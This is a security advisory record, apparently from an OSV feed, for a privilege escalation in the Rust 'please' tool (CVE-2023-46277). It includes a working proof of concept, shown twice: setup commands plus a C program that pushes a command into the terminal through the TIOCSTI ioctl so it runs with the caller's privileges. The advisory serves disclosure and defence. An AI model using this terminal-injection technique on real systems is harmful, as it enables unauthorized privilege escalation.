RUSTSEC-2023-0066 (CVE-2023-46277)
Vulnerability from osv_rustsec – Published: 2023-04-29 12:00 – Updated: 2024-02-10 15:57 – Source websiteplease is vulnerable to privilege escalation using ioctls TIOCSTI and TIOCLINUX on systems where they are not disabled.
Here is how to see it in action:
$ cd "$(mktemp -d)"
$ git clone --depth 1 https://gitlab.com/edneville/please.git
$ cd please/
$ git rev-parse HEAD # f3598f8fae5455a8ecf22afca19eaba7be5053c9
$ cargo test && cargo build --release
$ echo "[${USER}_as_nobody]"$'\nname='"${USER}"$'\ntarget=nobody\nrule=.*\nrequire_pass=false' | sudo tee /etc/please.ini
$ sudo chown root:root ./target/release/please
$ sudo chmod u+s ./target/release/please
$ cat <<TIOCSTI_C_EOF | tee TIOCSTI.c
#include <sys/ioctl.h>
int main(void) {
const char *text = "id\n";
while (*text)
ioctl(0, TIOCSTI, text++);
return 0;
}
TIOCSTI_C_EOF
$ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c
$ ./target/release/please -u nobody /tmp/TIOCSTI # runs id(1) as ${USER} rather than nobody
Please note that:
This affects both the case where root wants to drop privileges as well when non-root wants to gain other privileges.
| URL | Type | |
|---|---|---|
{
"affected": [
{
"database_specific": {
"categories": [
"privilege-escalation"
],
"cvss": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"informational": null
},
"ecosystem_specific": {
"affected_functions": null,
"affects": {
"arch": [],
"functions": [],
"os": []
}
},
"package": {
"ecosystem": "crates.io",
"name": "pleaser",
"purl": "pkg:cargo/pleaser"
},
"ranges": [
{
"events": [
{
"introduced": "0.0.0-0"
}
],
"type": "SEMVER"
}
],
"versions": []
}
],
"aliases": [
"CVE-2023-46277",
"GHSA-cgf8-h3fp-h956"
],
"database_specific": {
"license": "CC0-1.0"
},
"details": "please is vulnerable to privilege escalation using ioctls TIOCSTI\nand TIOCLINUX on systems where they are not disabled.\n\nHere is how to see it in action:\n\n```\n$ cd \"$(mktemp -d)\"\n$ git clone --depth 1 https://gitlab.com/edneville/please.git\n$ cd please/\n$ git rev-parse HEAD # f3598f8fae5455a8ecf22afca19eaba7be5053c9\n$ cargo test \u0026\u0026 cargo build --release\n$ echo \"[${USER}_as_nobody]\"$\u0027\\nname=\u0027\"${USER}\"$\u0027\\ntarget=nobody\\nrule=.*\\nrequire_pass=false\u0027 | sudo tee /etc/please.ini\n$ sudo chown root:root ./target/release/please\n$ sudo chmod u+s ./target/release/please\n$ cat \u003c\u003cTIOCSTI_C_EOF | tee TIOCSTI.c\n#include \u003csys/ioctl.h\u003e\n\nint main(void) {\n const char *text = \"id\\n\";\n while (*text)\n ioctl(0, TIOCSTI, text++);\n return 0;\n}\nTIOCSTI_C_EOF\n$ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c\n$ ./target/release/please -u nobody /tmp/TIOCSTI # runs id(1) as ${USER} rather than nobody\n```\n\nPlease note that:\n\nThis affects both the case where root wants to drop privileges as well when non-root wants to gain other privileges.",
"id": "RUSTSEC-2023-0066",
"modified": "2024-02-10T15:57:43Z",
"published": "2023-04-29T12:00:00Z",
"references": [
{
"type": "PACKAGE",
"url": "https://crates.io/crates/pleaser"
},
{
"type": "ADVISORY",
"url": "https://rustsec.org/advisories/RUSTSEC-2023-0066.html"
},
{
"type": "REPORT",
"url": "https://gitlab.com/edneville/please/-/issues/13"
}
],
"related": [],
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Vulnerable to privilege escalation using ioctls TIOCSTI and TIOCLINUX"
}
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